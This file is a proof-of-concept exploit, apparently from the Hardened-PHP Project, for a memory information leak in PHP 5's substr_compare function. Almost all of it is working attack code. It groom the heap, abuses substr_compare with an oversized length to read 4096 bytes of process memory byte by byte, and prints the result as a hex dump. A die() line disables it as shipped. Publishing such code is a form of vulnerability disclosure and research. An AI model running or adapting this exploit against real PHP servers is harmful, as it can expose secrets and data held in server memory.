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<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 5 - substr_compare Information Leak Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
$sizeofHashtable = 39;
$maxlong = 0x7fffffff;
if (is_int($maxlong+1)) {
$sizeofHashtable = 67;
$maxlong = 0x7fffffffffffffff;
}
$memdump = str_repeat("A", 4096);
for ($i=0; $i<40; $i++) $d[] = array();
unset($d[20]);
$x = str_repeat("A", $sizeofHashtable);
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<4096; $i++) {
$y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
$Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
if ($y-$Y == 1 || $Y-$y==1){
$y = chr($y);
if ($b && strtoupper($y)!=$y) {
if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
$y = strtoupper($y);
}
}
$memdump[$i] = $y;
} else {
$memdump[$i] = chr(0);
}
}
echo "memdump\n---------\n\n";
for ($b=0; $b<strlen($memdump); $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
printf ("%02x ", ord($memdump[$b+$i]));
}
for ($i=0; $i<16; $i++) {
$c = ord($memdump[$b+$i]);
if ($c >= 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("\n");
}
?>
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